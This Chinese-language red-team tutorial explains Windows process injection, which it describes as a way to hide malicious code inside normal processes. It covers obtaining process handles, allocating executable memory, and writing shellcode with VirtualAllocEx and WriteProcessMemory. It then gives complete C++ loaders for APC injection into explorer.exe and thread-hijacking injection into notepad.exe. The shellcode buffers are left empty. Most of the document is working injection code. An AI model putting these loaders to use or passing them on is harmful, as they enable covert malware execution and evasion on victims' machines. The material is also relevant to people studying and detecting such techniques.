Windows进程注入详解(一)
概述
进程注入是在红队攻击中十分常用的技术,用于将恶意代码注入到正常的进程中,从而能够隐蔽恶意代码的痕迹。
进程注入的一般步骤如下:
- 获取目标进程句柄
- 在目标进程中分配新的内存
- 将shellcode写入新分配的内存
- 执行shellcode
下面对整个过程进行逐一介绍
获取目标进程句柄的方式
想要注入到目标进程,首先是需要获取到目标进程的句柄,这里有一些常见方式,如使用openprocess直接打开目标程序的句柄,或者使用CreateProcess创建一个新的进程可以直接获取这个进程的句柄,也可以通过复制句柄的方式来获取目标进程的句柄。在日常代码编写中,比较常用的是使用CreateToolhelp32Snapshot函数创建快照来获取目标进程信息,然后使用openprocess来获取进程句柄,下面是对每一种方式对详细讲解。
1.打开一个正在进行的进程-OpenProcess
Win32 API: OpenProcess
NT API: NtOpenProcess
OpenProcess 函数:
- 使用
OpenProcess
函数可以打开一个已存在进程的句柄。需要指定进程的权限(例如,PROCESS_ALL_ACCESS
表示所有权限)和进程的ID。
1 2 3 4 5 | HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
|
示例:
1 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
|
2.创建一个新进程-CreateProcessA
- Win32 API: CreateProcessA
- NT API: NtCreateProcessEx, NtCreateUserProcess
CreateProcessA 函数:
CreateProcessA
是Win32 API中用于创建新进程的函数。它创建一个新的进程和它的主线程,同时返回与新进程相关的句柄和标识符。
1 2 3 4 5 6 7 8 9 10 11 12 | BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
|
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof (si));
si.cb = sizeof (si);
ZeroMemory(&pi, sizeof (pi));
if (CreateProcessA(
"C:\\Path\\To\\Your\\Executable.exe" ,
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
))
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
|
3.进程复制-DuplicateHandle
复制(Duplicate)现有进程的句柄通常是通过 DuplicateHandle
函数来实现的。该函数允许在两个不同的进程之间复制句柄。下面是关于这个过程的详细介绍:
函数介绍:
1 2 3 4 5 6 7 8 9 | BOOL DuplicateHandle(
HANDLE hSourceProcessHandle,
HANDLE hSourceHandle,
HANDLE hTargetProcessHandle,
LPHANDLE lpTargetHandle,
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwOptions
);
|
参数解释:
hSourceProcessHandle
:源进程的句柄,这是包含源句柄的进程的句柄。
hSourceHandle
:要复制的源句柄。
hTargetProcessHandle
:目标进程的句柄,这是接收复制句柄的进程的句柄。
lpTargetHandle
:指向接收复制句柄的变量的指针。
dwDesiredAccess
:新句柄的访问权限。通常设置为 PROCESS_ALL_ACCESS
表示完全访问权限。
bInheritHandle
:指定新句柄是否可以被子进程继承。
dwOptions
:指定一些选项,通常为 0
。
返回值:
如果函数成功,返回非零值;如果函数失败,返回零。可以通过调用 GetLastError
获取详细的错误信息。
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include <Windows.h>
#include <iostream>
int main() {
STARTUPINFO si = { sizeof (STARTUPINFO) };
PROCESS_INFORMATION pi;
if (CreateProcess(L "C:\\Path\\Target.exe" , nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
HANDLE hTargetHandle = nullptr;
if (DuplicateHandle(GetCurrentProcess(), hSourceHandle, pi.hProcess, &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
std::cout << "[+] Handle duplicated successfully!" << std::endl;
CloseHandle(hTargetHandle);
} else {
std::cerr << "[-] Failed to duplicate handle! Error code: " << GetLastError() << std::endl;
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
std::cerr << "[-] Failed to create process! Error code: " << GetLastError() << std::endl;
}
return 0;
}
|
获取进程信息
另外需要介绍一下获取进程信息的两种方式,通过这些方式能够帮助我们快速定位到目标程序获取其信息,从而获取目标进程句柄。
创建进程快照-CreateToolhelp32Snapshot
CreateToolhelp32Snapshot,它的主要作用是创建一个系统快照,允许你枚举系统中的进程、模块、线程等信息。通过遍历快照,你可以获得关于这些系统资源的信息。
使用 CreateToolhelp32Snapshot
创建一个系统进程和线程快照,然后使用 Process32First
和 Process32Next
函数遍历快照以查找目标进程。
1 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
示例:(经测试)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include<Windows.h>
#include<TlHelp32.h>
#include<iostream>
HANDLE GetTargetProcessHandle( const wchar_t * targetProcessName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
std::cout << "[-] error create snapshot!" << std::endl;
return NULL;
}
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof (PROCESSENTRY32);
if (Process32First(snapshot, &processEntry)) {
do {
if (_wcsicmp(processEntry.szExeFile, targetProcessName)==0) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
std::cout << "[+] find target handle success!" << std::endl;
CloseHandle(snapshot);
return hProcess;
}
} while (Process32Next(snapshot, &processEntry));
}
CloseHandle(snapshot);
std::cout << "[-] none process was found!" << std::endl;
return NULL;
}
int main() {
const wchar_t * targetProcessName = L "explorer.exe" ;
HANDLE hTargetProcess = GetTargetProcessHandle(targetProcessName);
if (hTargetProcess != NULL) {
std::cout << "[+] successfully!" << std::endl;
CloseHandle(hTargetProcess);
}
else {
std::cout << "[-] fail!" << std::endl;
}
return 0;
}
|
进程枚举-EnumProcesses函数
EnumProcesses
函数是 Windows API 提供的一个用于枚举系统中所有进程ID的函数。它可以帮助你获取系统中运行的所有进程的进程ID,然后你可以根据这些进程ID来获取进程句柄
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | #include <windows.h>
#include <iostream>
HANDLE GetProcessHandleByName( const wchar_t * processName) {
DWORD processIds[1024], bytesReturned;
if (!EnumProcesses(processIds, sizeof (processIds), &bytesReturned)) {
std::cerr << "[-] EnumProcesses failed! Error code: " << GetLastError() << std::endl;
return NULL;
}
DWORD processCount = bytesReturned / sizeof ( DWORD );
for ( DWORD i = 0; i < processCount; ++i) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processIds[i]);
if (hProcess == NULL) {
std::cerr << "[-] OpenProcess failed for process ID " << processIds[i] << "! Error code: " << GetLastError() << std::endl;
continue ;
}
wchar_t currentProcessName[MAX_PATH];
if (GetProcessImageFileName(hProcess, currentProcessName, MAX_PATH) > 0) {
wchar_t * processFileName = wcsrchr(currentProcessName, L '\\' );
if (processFileName != NULL) {
++processFileName;
if (_wcsicmp(processFileName, processName) == 0) {
std::cout << "[+] Found target process handle successfully!" << std::endl;
return hProcess;
}
}
}
CloseHandle(hProcess);
}
std::cerr << "[-] No process with the specified name was found!" << std::endl;
return NULL;
}
int main() {
const wchar_t * targetProcessName = L "explorer.exe" ;
HANDLE hTargetProcess = GetProcessHandleByName(targetProcessName);
if (hTargetProcess != NULL) {
std::cout << "[+] Operation was successful!" << std::endl;
CloseHandle(hTargetProcess);
return 1;
} else {
std::cerr << "[-] Operation failed!" << std::endl;
return 0;
}
}
|
与CreateToolhelp32Snapshot异同
EnumProcesses
和 CreateToolhelp32Snapshot
是两个不同的 Windows API 函数,都用于获取系统中运行的进程信息,但它们有一些区别。
- 枚举方式:
EnumProcesses
通过直接枚举系统中的进程ID,提供了一种较为底层的方法。它返回的是系统中所有运行进程的进程ID,而不提供其他详细信息。你需要额外的步骤来获取每个进程的详细信息,如进程名、路径等。
CreateToolhelp32Snapshot
则提供了一个更高级别的接口,允许你创建一个进程/线程/模块的快照,然后遍历该快照以获取详细信息。CreateToolhelp32Snapshot
返回的是一个快照的句柄,可以用于枚举系统中的进程、线程和模块。
- 信息获取:
EnumProcesses
返回的是进程ID数组,需要通过进一步的步骤(如 OpenProcess
)来获取每个进程的详细信息。
CreateToolhelp32Snapshot
返回的是一个快照句柄,可以通过 Process32First
和 Process32Next
等函数遍历获取每个进程的详细信息,包括进程ID、线程信息、模块信息等。
- 权限需求:
EnumProcesses
可能需要更高的权限,因为它直接尝试打开每个进程的句柄。在一些情况下,可能会遇到访问权限的问题。
CreateToolhelp32Snapshot
通常对权限的要求相对较低,因为它创建了一个快照,而不是直接打开进程句柄。但在一些特殊情况下,可能仍需要一些权限。
分配内存并将shellcode写入目标进程
在写入shellcode需要考虑以下几点:
- 是否有足够的特权将代码写入远程进程?
在 Windows 操作系统中,为了将代码注入到远程进程中,需要具备足够的特权。具体来说,需要有 PROCESS_VM_OPERATION
和 PROCESS_VM_WRITE
权限,这样才能在目标进程的虚拟地址空间中执行写操作。这通常需要使用 OpenProcess
函数以及 VirtualAllocEx
和 WriteProcessMemory
等函数。
- 是否能够定位在远程进程中发送的恶意代码的地址?
在注入代码后,需要知道在目标进程的什么位置放置了恶意代码。这通常涉及到远程线程注入或者通过 VirtualAllocEx
分配内存时获取返回的地址。需要能够追踪或记录目标进程中的代码位置,以便后续执行。
- 远程进程的内存区域是否有足够的内存访问权限来写入和执行代码?
- 内存权限: 需要确保目标进程中的内存区域具有足够的权限,允许写入和执行代码。通常,需要查找可写入(W)和可执行(X)的内存区域。然而,现代操作系统为了安全起见,通常要求内存区域要么是可写的,要么是可执行的,即 W^X(写入和执行互斥)策略。
- 内存保护: 可能需要修改内存区域的保护标志,使其允许代码的写入和执行。这通常涉及到使用
VirtualProtectEx
等函数。
也就是说,写入和执行都需要对应的权限,我们可以在使用VirtualAllocEx函数时进行配置。
具体操作
分配具有 READ、WRITE 和 Execute 访问权限的新内存区域
Win32 API: VirtualAllocEx
VirtualAllocEx
函数用于在远程进程中分配新的虚拟内存区域。在这一步,通常需要分配具有读、写和执行权限的内存区域,以便成功执行注入的代码。
1 2 3 4 5 6 7 | LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
|
NT API: NtAllocateVirtualMemory
对应的 Windows NT API 是 NtAllocateVirtualMemory
。
将 Payload 写入到内存中
Win32 API: WriteProcessMemory
WriteProcessMemory
函数用于将数据写入远程进程的内存空间。在这里,用于注入的恶意代码被写入到先前分配的远程内存区域。
1 2 3 4 5 6 7 | WriteProcessMemory(
hProcess,
remoteBuffer,
shellcode,
shellcodeSize,
NULL
);
|
NT API: NtWriteVirtualMemory
对应的 Windows NT API 是 NtWriteVirtualMemory
。
修改内存保护
在有些情况下,为了执行写入的代码,可能需要修改内存保护标志。通常,将原先的 PAGE_READWRITE
修改为 PAGE_EXECUTE_READ
或相反。
Win32 API: VirtualProtectEx
1 2 3 4 5 6 7 8 | DWORD oldProtect;
VirtualProtectEx(
hProcess,
remoteBuffer,
shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
);
|
NT API: NtProtectVirtualMemory
对应的 Windows NT API 是 NtProtectVirtualMemory
。
执行写入的shellcode
执行写入的shellcode的方式就很多了,常见的方式有创建远程线程、APC、线程劫持等
APC注入
在Windows操作系统中,APC(Asynchronous Procedure Call,异步过程调用)机制是一种用于实现异步执行代码的机制。APC允许在指定的线程上执行用户定义的函数,而无需等待线程主动调用该函数。APC通常用于实现一些异步操作,如异步I/O、定时器、信号等。APC机制在实现一些异步操作时非常有用,它允许程序在某个线程中异步执行一些代码,而不必等待该线程的主动调用。
核心函数
QueueUserAPC
QueueUserAPC
是Windows操作系统提供的一个函数,用于将异步过程调用(APC)插入到指定线程的用户模式执行流程中。APC是一种轻量级的机制,允许在指定线程上执行用户定义的函数,而无需等待线程主动调用这个函数。QueueUserAPC
允许在特定线程上安排一个APC,从而在目标线程的执行流程中异步执行用户定义的代码。
以下是 QueueUserAPC
函数的详细介绍:
1 2 3 4 5 | BOOL QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
|
pfnAPC
: 指向用户定义的 APC 回调函数的指针。回调函数的原型为 VOID CALLBACK PAPCFUNC(ULONG_PTR dwParam)
,其中 dwParam
是用户传递给 APC 的数据。
hThread
: 目标线程的句柄,表示将要执行 APC 的线程。
dwData
: 用户定义的数据,将被传递给 APC 回调函数。
使用步骤:
定义回调函数: 首先,需要定义一个符合 PAPCFUNC
原型的回调函数,用于执行异步的操作。
1 2 3 | VOID CALLBACK MyAPCFunction( ULONG_PTR dwParam) {
}
|
初始化线程: 在目标线程启动之前,需要确保线程已被创建,并且线程句柄有效。
调用 QueueUserAPC
函数: 在任何线程中,通过调用 QueueUserAPC
函数将回调函数插入到目标线程的执行流程中。
1 2 3 4 5 6 7 8 | HANDLE hThread =
ULONG_PTR dwData =
if (QueueUserAPC(MyAPCFunction, hThread, dwData)) {
} else {
}
|
需要注意的是,QueueUserAPC
并不会立即执行 APC 回调函数,而是等待目标线程处于能够执行 APC 的状态时才执行。目标线程可能需要处于等待状态,或者执行某些特定的系统调用时,APC 才会被执行。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #include <windows.h>
#include <tlhelp32.h>
#include <vector>
int main()
{
UINT shellcodeSize = 0;
unsigned char * shellcode = "" ;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof (PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L "explorer.exe" ) != 0)
{
Process32Next(snapshot, &processEntry);
}
}
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);
THREADENTRY32 threadEntry = { sizeof (THREADENTRY32) };
std::vector< DWORD > threadIds;
if (Thread32First(snapshot, &threadEntry))
{
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
{
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for ( DWORD threadId : threadIds)
{
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
CloseHandle(victimProcess);
CloseHandle(snapshot);
return 0;
}
|
线程劫持注入
线程劫持注入通过劫持目标进程中的一个或多个线程,使其执行注入的代码。
进行线程劫持的步骤如下:
获取目标进程的句柄:
首先,需要获取目标进程的句柄,通过 OpenProcess
函数来实现。
1 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
|
在目标进程中分配内存并写入注入代码:
使用 VirtualAllocEx
在目标进程中分配内存,并使用 WriteProcessMemory
将注入的代码写入该内存区域。
1 2 | PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, codeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, injectedCode, codeSize, NULL);
|
获取目标线程的句柄:
通过遍历目标进程的线程,获取一个或多个目标线程的句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | HANDLE threadHijacked = NULL;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof (THREADENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break ;
}
}
|
暂停目标线程:
使用 SuspendThread
函数暂停目标线程的执行。
1 | SuspendThread(threadHijacked);
|
修改目标线程上下文:
获取目标线程的上下文信息,修改其中的寄存器值,使其指向注入代码的起始地址。
1 2 3 4 5 6 7 8 9 10 11 | CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
context.Rip = ( DWORD_PTR )remoteBuffer;
#else
context.Eip = ( DWORD_PTR )remoteBuffer;
#endif
SetThreadContext(threadHijacked, &context);
|
#ifdef _M_X64
是一个条件编译指令,它检查宏_M_X64
是否已经定义。这个宏通常由编译器自动生成,表示代码是否正在为 64 位平台编译。
context.Rip
和 context.Eip
分别是CONTEXT
结构体中的成员,用于表示目标线程的指令指针(Instruction Pointer)。在 64 位平台上,通常使用Rip
(64 位指令指针),而在 32 位平台上使用Eip
(32 位指令指针)。
(DWORD_PTR)remoteBuffer
将Shellcode的起始地址强制转换为一个指针大小的整数类型(DWORD_PTR
),以适应不同平台的指针大小。
- 根据宏
_M_X64
的定义,将context.Rip
或context.Eip
设置为Shellcode的起始地址。在 64 位平台上,将Rip
设置为Shellcode的起始地址,而在 32 位平台上,将Eip
设置为Shellcode的起始地址。
恢复目标线程:
使用 ResumeThread
函数将目标线程恢复执行。
1 | ResumeThread(threadHijacked);
|
通过以上步骤,注入的代码将在目标线程中得到执行。这种注入技术的优点是不需要创建新的线程,而是利用目标进程中已有的线程来执行注入的代码,减少了对目标进程的影响。但需要注意,线程劫持注入可能会对目标线程的执行造成一些影响,特别是在注入的代码执行期间,目标线程将处于暂停状态。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
int main()
{
UINT shellcodeSize = 0;
unsigned char * shellcode = "" ;
HANDLE targetProcessHandle;
PVOID remoteBuffer;
HANDLE threadHijacked = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
THREADENTRY32 threadEntry;
CONTEXT context;
PROCESSENTRY32 processEntry = { 0 };
processEntry.dwSize = sizeof (PROCESSENTRY32);
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L "notepad.exe" ) != 0)
{
Process32Next(snapshot, &processEntry);
}
}
DWORD targetPID = processEntry.th32ProcessID;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof (THREADENTRY32);
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL);
Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break ;
}
}
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
context.Rip = ( DWORD_PTR )remoteBuffer;
#else
context.Eip = ( DWORD_PTR )remoteBuffer;
#endif // x64
SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
CloseHandle(targetProcessHandle);
CloseHandle(threadHijacked);
CloseHandle(snapshot);
return 0;
}
|
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)